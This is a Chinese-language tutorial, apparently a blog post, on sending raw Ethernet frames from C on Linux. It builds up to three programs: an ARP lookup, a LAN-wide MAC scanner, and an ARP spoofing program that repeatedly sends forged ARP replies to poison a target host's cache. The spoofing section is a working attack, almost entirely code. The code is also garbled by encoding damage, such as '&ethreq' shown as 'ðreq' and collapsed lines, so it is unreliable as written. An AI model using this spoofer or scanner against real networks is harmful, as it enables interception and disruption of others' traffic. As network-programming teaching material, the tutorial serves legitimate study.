知识点1【使用原始套接字发送网络数据】
使用 sendto 发送完整帧数据
这个是有固定格式的,这里我们是用打包函数的方法实现
1、sendto的知识补充
1、struct sockaddr_ll 结构体介绍
当利用sendto操作原始套接字的时候
sendto(fd_sock,msg,len,0,(struct sockaddr *)&sll,sizeof(sll));
//sll对应的结构体类型
#include<netpacket/packet.h>
struct sockaddr_ll sll;
在这个结构体中,前两个参数我们在创建原始套接字的时候已经进行了配置。
sll_ifindex之后的参数,是由内核进行配置的。因此这里
在链路层只需要配置sll_ifindex即可
ifindex是用来确定是哪个网卡的,如下图,我们这里需要选择的是ens33
但是配置 这个参数并不能直接赋值,需要借助另一个结构体
2、struct ifreq
interface request 接口请求
#include <net/if.h>
struct ifreq ifr;
IFNAMSIZ
这个宏,默认是16,是标明 接口名的最大字节数的
3、ioctl()
#include <sys/ioctl.h>
int ioctl(int fd,unsigned long request,…/* void *arg */);
功能介绍:
允许用户空间程序与内核驱动互动
参数:
fd:文件描述符
request:控制命令(如ifreq中的介绍)
arg:指向数据结构体的指针,用于输入或输出数据
返回值:
成功:0
失败:-1,会设置errno
由于这一过程过于公式化,因此我们常把这个流程打包成一个函数
4、代码演示
代码运行结果
2、msg的组包
我们这里的组包,以实现ARP协议的功能为例,即我们在【Linux网络编程 从集线器到交换机的网络通信全流程——基于Packet Tracer的深度实验】
文章中介绍的ARP协议的广播的实现。
ARP报文分析
请求方使用广播来发送请求
应答方使用单播来发送数据
3、案例
案例1:获取某个IP的MAC地址
ETH_P_ALL的头文件:#include <linux/if_ether.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <linux/if_ether.h> //ETH_P_ALL// 封装一个Sendto函数
int Sendto(int fd, unsigned char *msg, int len, char *name)
{struct ifreq ethreq;strncpy(ethreq.ifr_name, name, IFNAMSIZ);if (-1 == ioctl(fd, SIOCGIFINDEX, ðreq)){perror("ioctl");close(fd);_exit(-1);}struct sockaddr_ll sll;memset(&sll, 0, sizeof(sll));sll.sll_ifindex = ethreq.ifr_ifindex;int ret = sendto(fd, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));return ret;
}// 192.168.13.249
int main(int argc, char const *argv[])
{// 创建匿名套接字int fd_raw = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (fd_raw < 0){perror("socket");_exit(-1);}// msg数据的打包unsigned char msg[256] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff,0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef,0x08, 0x06,0x00, 0x01,0x08, 0x00,6,4,0, 1,0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef,192, 168, 13, 55,0, 0, 0, 0, 0, 0,192, 168, 13, 249};// 发送数据int ret_sendto = Sendto(fd_raw, msg, 14 + 28, "ens33");if (ret_sendto < 0){perror("Sendto");_exit(-1);}// 接收数据,这里使用循环,因为需要对收到消息进行筛选while (1){unsigned char buf[1500] = "";recvfrom(fd_raw, buf, sizeof(buf), 0, NULL, NULL);// 通过接收数据的帧类型和op进行筛选unsigned short arp_type = ntohs(*(unsigned short *)(buf + 12));unsigned short arp_op = ntohs(*(unsigned short *)(buf + 20));if ((arp_type == 0x0806) && (arp_op == 2)){char mac_addr[18] = "";char ip_addr[16] = "";// 组包sprintf(mac_addr, "%02x:%02x:%02x:%02x:%02x:%02x",buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);inet_ntop(AF_INET, buf + 14 + 14, ip_addr, sizeof(ip_addr));printf("%s--->%s\\n", ip_addr, mac_addr);}}// 关闭匿名套接字close(fd_raw);return 0;
}
代码运行结果
为什么要使用while(1)循环接收数据呢?
因为收到的报文有很多,需要进行排除
案例2:扫描局域网的所有MAC地址
#include <stdio.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <linux/if_ether.h>
#include <arpa/inet.h>
// typedef struct Sento
// {
// int fd;
// unsigned char msg;
// int len;
// char name;
// }SENDTO;// 封装sendto函数
int Sendto(int fd, unsigned char *msg, int len, char *name)
{// 接口请求配置struct ifreq ethreq;// 网卡名strncpy(ethreq.ifr_name, name, IFNAMSIZ);// 获取网卡编号if (-1 == ioctl(fd, SIOCGIFINDEX, ðreq)){perror("ioctl");close(fd);_exit(-1);}struct sockaddr_ll sll;memset(&sll, 0, sizeof(sll));// 判断接在哪个网卡sll.sll_ifindex = ethreq.ifr_ifindex;int ret = sendto(fd, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));return ret;
}// 线程函数
void *Pthread_Sendto(void *arg)
{for (size_t i = 1; i < 255; i++){int fd = *(int *)arg;// 组包msg_tounsigned char msg_to[128] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // 目的mac地址0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef, // 源mac地址0x08, 0x06, // 帧类型0x00, 0x01, // 硬件类型0x08, 0x00, // 协议类型(上一级)6, // 硬件地址长度4, // 协议地址长度0x00, 0x01, // arp模式选择0x00, 0x0c, 0x29, 0x93, 0xa9, 0xef, // 源mac地址192, 168, 13, 55, // 源IP地址0, 0, 0, 0, 0, 0, // 目的mac地址192, 168, 13, (unsigned char)i // 目的IP地址};int ret = Sendto(fd, msg_to, 14 + 28, "ens33");if (ret < 0){perror("Sendto");close(fd);_exit(-1);}}return NULL;
}
void *Pthread_Recv(void *arg)
{int fd = *(int *)arg;while (1){unsigned char buf[1500] = "";recvfrom(fd, buf, sizeof(buf), 0, NULL, NULL);unsigned short type = ntohs((*(unsigned short *)(buf + 12)));unsigned short op = ntohs((*(unsigned short *)(buf + 20)));char dst_mac[18] = "";char src_ip[16] = "";if (type == 0x0806 && op == 2){sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",buf[6], buf[7], buf[8], buf[9], buf[10], buf[11]);inet_ntop(AF_INET, buf + 28, src_ip, sizeof(src_ip));printf("%s---->%s\\n", src_ip, dst_mac);}}return NULL;
}int main(int argc, char const *argv[])
{// 创建原始套接字int fd_raw = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (fd_raw < 0){perror("socked");_exit(-1);}// 创建两个子线程pthread_t pid1, pid2;pthread_attr_t attr;pthread_attr_init(&attr);pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);// 线程1负责发送pthread_create(&pid1, &attr, Pthread_Sendto, &fd_raw);// 线程2负责收pthread_create(&pid2, &attr, Pthread_Recv, &fd_raw);while(1);// 关闭套接字close(fd_raw);return 0;
}
代码运行结果
案例3:ARP欺骗)
实现欺骗的原理是:
收到ARP应答,一般不判断,是否发出了ARP请求
这里我们只需要写应答即可,组包的时候按照应答的格式组包。
这里我们介绍一个新的组包方式:
利用各个头文件中结构体进行组包
**ARP头文件<net/if_arp.h>**中的 ARP报文头结构体,我们可以看到,if 0表示这一块内的结构体我们不能自己设置,但是修改系统头文件又不好,因此这里我们只能自己定义一个结构体,然后使用
**MAC头文件<net/ethernet.h>**中的 MAC报文头结构体
#include <stdio.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <string.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>typedef struct arphdr
{unsigned short int ar_hrd; /* Format of hardware address. */unsigned short int ar_pro; /* Format of protocol address. */unsigned char ar_hln; /* Length of hardware address. */unsigned char ar_pln; /* Length of protocol address. */unsigned short int ar_op; /* ARP opcode (command). */
#if 1/* Ethernet looks like this : This bit is variable sizedhowever... */unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address. */unsigned char __ar_sip[4]; /* Sender IP address. */unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address. */unsigned char __ar_tip[4]; /* Target IP address. */
#endif
}ARP;int Sendto(int fd, char *msg, int len, const char *name)
{// ifreg结构体struct ifreq eth_reg;strncpy(eth_reg.ifr_name, name, IFNAMSIZ);// ioctlif (-1 == ioctl(fd, SIOCGIFINDEX, ð_reg)){perror("ioctl");close(fd);_exit(-1);}// sockaddr_ll结构体struct sockaddr_ll sll;memset(&sll, 0, sizeof(sll));sll.sll_ifindex = eth_reg.ifr_ifindex;int ret = sendto(fd, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));return ret;
}
int main(int argc, char const *argv[])
{// 创建原始套接字int fd_raw = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (fd_raw < 0){perror("socket");_exit(-1);}// 组包msg_send报文char msg_send[128] = "";//mac报文头struct ether_header *eth_hdr = (struct ether_header *)msg_send;unsigned char dst_mac[] = {0x00,0x2b,0x67,0xec,0xd9,0x51};unsigned char src_mac[] = {0xee,0xee,0xee,0xee,0xee,0xee};unsigned char dst_ip[] = {192,168,13,32};unsigned char src_ip[] = {192,168,13,3};memcpy(eth_hdr->ether_dhost,dst_mac,sizeof(dst_mac));memcpy(eth_hdr->ether_shost,src_mac,sizeof(src_mac));eth_hdr->ether_type = htons(0x0806);//arp报文头ARP *arp_hdr = (ARP *)(msg_send + 14);arp_hdr->ar_hrd = htons(0x0001);arp_hdr->ar_pro = htons(0x0800);arp_hdr->ar_hln = 6;arp_hdr->ar_pln = 4;arp_hdr->ar_op = htons(0x0002);memcpy(arp_hdr->__ar_sha,src_mac,sizeof(src_mac));memcpy(arp_hdr->__ar_sip,src_ip,sizeof(src_ip));memcpy(arp_hdr->__ar_tha,dst_mac,sizeof(dst_mac));memcpy(arp_hdr->__ar_tip,dst_ip,sizeof(dst_ip));for (size_t i = 0; i < 10; i++){// 发送msg_send报文if (Sendto(fd_raw, msg_send, 14 + 28, "ens33") < 0){perror("Sendto");close(fd_raw);_exit(-1);}sleep(1);}// 关闭套接字close(fd_raw);return 0;
}
代码运行结果
结束
代码重在练习!
代码重在练习!
代码重在练习!
今天的分享就到此结束了,希望对你有所帮助,如果你喜欢我的分享,请点赞收藏夹关注,谢谢大家!!!